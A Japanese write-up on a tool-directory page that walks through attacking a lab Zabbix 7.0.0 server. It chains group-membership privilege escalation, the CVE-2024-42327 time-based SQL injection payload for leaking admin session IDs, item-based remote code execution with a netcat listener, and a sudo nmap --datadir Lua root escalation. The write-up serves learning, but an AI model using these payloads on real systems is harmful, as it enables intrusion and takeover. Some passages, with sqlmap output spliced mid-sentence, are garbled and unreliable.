Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-42327 — CVE-2024-42327 の解説 | Kitploit
ツール/GitHubGitHub/igorbf495/cve-2024-42327
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトCTFペネトレーションテスト学習と教育ラボと実践
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-42327 の解説

リポジトリを見る

CVE-2024-42327 zabbix脆弱性のwriteup

対象: 10.129.231.176

情報: 対象はzabbixサーバーであることが分かっている。zabbixにログインするための標準ユーザーアカウントを受け取った: ユーザー matthew、パスワード 96qzn0h2e1k3。このアカウントは標準ユーザーであり、追加のグループや権限はない。

いつものように、列挙から開始する。nmapを使ってポートスキャンを行う。

image

nmapの出力から、標準のSSHポートとApache2も標準ポートで動作していることがわかる。また、ポート10051と10050でzabbixのサービスが動作している。

ブラウザのURLにIPアドレスを入力し、標準のHTTPポート(ポート80)でzabbixにアクセスする。

image

これがzabbixのログイン画面だ。受け取ったユーザーでログインする。

image

image

フッターでzabbixのバージョンを見つけた:

image

馬鹿の親玉(Google)を使って、このzabbixバージョンに既存のCVEがないか調べた。

image

かなりの調査時間の後、このバージョンがCVE-2024-42327(データベースからデータを取得し権限昇格するためのSQLインジェクションの悪用)とCVE-2024-36467(アクセス制御の欠如を悪用してユーザーのロールをスーパーユーザーに変更可能)に対して脆弱であることがわかった。

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

zabbixのドキュメントには、APIを呼び出すためのHTTPリクエストの方法が記載されている。

image

https://www.zabbix.com/documentation/current/en/manual/api

ドキュメントに従って、appinfo.versionを呼び出すリクエストを送信した。

image

以下の結果が返ってきた:

{"jsonrpc":"2.0","result":"7.0.0","id":1}

次のテストのために、このリクエストのパラメータをいくつか変更して再送信した。

image

methodをappinfo.versionからuser.loginに変更し、usernameとpasswordのパラメータを追加した。これもzabbixのドキュメントに記載されている。

image

トークンが返ってきた:

{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

さらに調査した後、zabbixのGitHubリポジトリにアクセスすることにした。

https://github.com/zabbix/zabbix

CUserについて調べ、CUser.phpファイルを見つけた。

image

user.update関数を見つけた:

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

認可チェックが見つからなかったため、自分の関数をスーパーユーザー関数に変更しようと決め、リクエストに戻ってペイロードを調整した。

image

invalid paramsというエラーメッセージが返ってきた。

さらにコードを長く分析すると、次の関数が見つかった。

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

このスニペットによると、自分のロールを変更することはできない。なぜなら、APIトークンからデータを抽出し、データベースでそのユーザーであることを確認することでロールがチェックされるからだ。しかし、コードを追っていくと、usrgrpsにはまったくバリデーションがないことがわかる。そのため、このバリデーションの欠如を悪用して、自分を複数のグループに一度に追加できる。グループが無効化されておらず、GUIアクセスが許可されていれば、以下のコマンドで現在のロールを変更できる: ユーザーID 3はmatthew、ユーザーグループ7はZabbix管理者グループ、ユーザーグループ13は内部グループであり、どちらも制限のない権限を持つ。応答は変更が成功したことを示している。

このバリデーションの欠如を利用して権限昇格を試みる。ペイロードを編集してリクエストを再送信する。

image

userid 3はmatthewユーザーのID。 usrgrpsにはグループIDのリストが含まれる: 13は内部グループ、7はZabbix管理者グループ。サーバーからの応答が操作の成功を確認する:

root@kitploit:~
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

これで、現在のユーザーのユーザーグループを抽出できる。リクエストを変更して再送信する。

image

応答を確認すると、ID 3のユーザーが内部管理者グループとZabbix管理者グループに所属していることがわかる。

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

有効なホストグループがZabbix管理者グループに割り当てられているシナリオでは、アイテム作成を悪用してリモートコード実行をトリガーできる。これについては次のCVEで扱う。

CVE-2024-42327 の悪用

CUserクラスのソースコードを再度分析し、68行目のuser.get関数を調査する。108行目に次のコードによるチェックがある:

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

このコードから、APIリクエストにeditableオプションが指定された場合、ユーザーグループの検証を行わず、代わりに現在のユーザーIDが現在のユーザーと一致するかどうかのみチェックする。これにより、user.getを使用する際に権限チェックがバイパスされる。234行目でaddRelatedObjectsが呼び出されており、これがSQLインジェクションに対して脆弱な関数である。2969行目のaddRelatedObject関数を分析すると、ほとんどのSQL文は安全に見えるが、3041行目に到達する。

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

このブロックで、selectRoleオプションが指定されると、ユーザー入力をサニタイズせずにDBSelect関数が安全でない形で呼び出される。これにより、時間ベースおよびブラインドブールベースのSQLインジェクションが発生する。

これをテストするために、このリンクからペイロードを取得し、selectRoleパラメータでインジェクションポイントが成功するかどうかを検証する。

image

成功し、対象が5秒間スリープした。

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

Charles Proxyを使用してリクエストをインターセプトし、次のリクエストを含むファイルに保存した。

image

次に、SQLMapを使用して脆弱性を特定し、データベースからデータを抽出しようと試みる。

image

しばらくして、次の結果が得られた。

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

出力によると、時間ベースのSQLインジェクションを悪用してデータベース名を正常に取得できた。

次にRCE(リモートコード実行)を試みる。

設定ミスのあるエージェントを利用してリモートコード実行を達成できる。時間ベースのSQLインジェクションからこれを実行するには、データベース内のセッションテーブルをリークして、Adminユーザーが認証されているかどうかを確認する必要がある。残念ながら時間ベースの攻撃であるため、時間がかかる可能性がある。そこで、管理者のセッションをより速く抽出するマルチスレッドスクリプトを用意した。

ペイロードは次のようになる。

image

これはネストされた時間ベースのSQLインジェクションであり、nameパラメータにペイロードを注入し、ANDを追加して条件を連鎖させている。

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

外部SELECT条件を使用してSLEEP条件をBEEFというラベルの付いたサブクエリでラップする。

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

SLEEP条件は、このスクリプトのTRUE_TIME値(1秒)を受け取り、サイトまたはAPIで認証されたアクティブな管理者アカウントのsessionidを取得する。上記のSELECT条件は、MID条件でラップされたインデックス0の最初の結果を取得する。MID条件を使用して、sessionid内の特定の位置の文字を抽出する。この位置はインクリメントされ、ORD条件でラップされる。ORD条件は抽出された文字を比較のためにASCII値に変換し、IF条件でラップされる。IF条件 [17:26:03] [INFO] 少なくとももう1つの(潜在的な)手法が見つかったため、UNIONクエリインジェクションテスト手法の範囲を自動的に拡張中 [17:26:04] [INFO] POSTパラメータ(カスタム) '#1*' のインジェクションポイントが誤検出でないか確認中 POSTパラメータ(カスタム) '#1*' は脆弱です。他の(もしあれば)テストを続けますか? [s/N] n sqlmapは合計77のHTTPリクエストで以下のインジェクションポイントを特定しました: 利用可能なデータベース [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) 抽出された文字が期待されるASCII文字(ord(char))と一致するかどうかをチェックする。条件が満たされSLEEP条件がトリガーされると、正しい文字が特定され、32文字のsessionidをリークできる。

Pythonスクリプトを作成して実行した。

image

image

スクリプトを実行した後、わずか30秒で管理者セッションの取得に成功したことを確認した。

image

AdminユーザーのAPIトークンを使用して、アイテムを作成し、タスクを介してアイテムをトリガーする手順に進む。まずアイテムを作成する必要があるが、そのためには現在のホストIDとそのインターフェースIDを取得する必要がある。

image

次の応答が得られた。

root@kitploit:~
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

次に、次のペイロードでアイテムを作成できる。

image

ペイロードを送信する前に、ポート4448でncリスナーをセットアップし、数秒待つ。

image

さあ、ペイロードを送信する時だ。

image

成功した。悪意のあるペイロードを含むタスクが作成され、RCE(リモートコード実行)を達成した。これでサーバーにアクセスできるようになった。

image

サーバーにアクセスできたので、権限昇格に移る。サーバーへのrootアクセスを取得しよう。

zabbixユーザーとして、sudo権限で実行できるデーモン(プログラム)があるか確認する。

image

/usr/bin/nmapを制限なく実行できることがわかる。インターネットでしばらく調査した後、GTFOBinsプロジェクトを見つけた。GTFObinsは、Unix/Linuxシステムで見つかるバイナリを創造的に使用して権限昇格、制限された環境(chrootやコンテナなど)からの脱出、悪意のあるコマンドの実行を行うためのリポジトリである。

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

gtfobinsのsudoエスケープを試してみる。

image

Nmapはラッパースクリプトで保護されているようだ。これは、Nmapの悪用可能なオプションの使用を制限するために実装された追加の保護レイヤーである。/usr/bin/nmapファイルを読み取ってみる。nanoテキストエディタで開き、このファイルを分析する。

image

かなりの調査の結果、このシナリオではすべてのGTFOBinsエスケープが役に立たないことがわかった。一般的な権限昇格手法からNmapを保護するためにラッパーが実装されていた。選択肢がなくなり、nmapライブラリを読むことにした。

長い読解の後、興味深いオプション--datadirを見つけた。

https://nmap.org/book/data-files-replacing-data-files.html

root@kitploit:~
--datadir <dirname>: Specify custom Nmap data file location

このオプションを使用すると、標準スクリプトやその他の重要なnmapアイテムが保存されるデータディレクトリを指定できる。この場合のデフォルトは /usr/share/nmap である。このファイルのパーミッションを確認する。

image

これらのファイルについて調査したところ、nse_main.luaファイルは、-sCパラメータでトリガーできるデフォルトのスクリプトファイルであることがわかった。これはNmap Scripting Engine (NSE) のメインスクリプトファイルである。Nmapが-sC(標準スクリプトを使用したスキャン)オプションで使用されるときに実行される関数が含まれている。この名前で悪意のあるスクリプトを作成すると、Nmapが自動的に実行するように仕向けることができる。これを悪用するために、/tmp/nse_main.luaにos.execute("chmod 4755 /bin/bash") を含む新しいファイルを作成する。

nse_main.luaファイルを作成し、その中にコマンド os.execute("chmod 4755 /bin/bash") を含めた。

4755: /bin/bashバイナリにSUID(Set User ID)を設定する。これにより、/bin/bashを実行する任意のユーザーが、ファイルの所有者(root)と同じ権限を持つことができる。

image

image

-sCを有効にしてlocalhostをスキャンすると、/bin/bashをSUIDに設定し、実効UIDがrootのシェルを生成する。

image

--datadir=/tmp: Nmapに設定ファイルとスクリプトを/tmpディレクトリで検索させる。これには悪意のあるnse_main.luaスクリプトが含まれる。

-sC: 標準スクリプトの実行を有効にする。これには作成したばかりの悪意のあるスクリプトが含まれる。

localhost: Nmapにローカルシステムでスキャンを実行させる。

nse_main.luaスクリプトは、root権限でNmapによって実行される(コマンドがsudoで実行されたため)。

image

SUIDが有効になったので、次のコマンドを実行できる: /bin/bash -p

image

-p: SUIDビットを保持し、所有者(root)の権限でbashを実行する。

image

uid=114: zabbixユーザーのID。 euid=0: 実効的にrootとして動作している。

これでroot権限を取得した。

ツールをダウンロード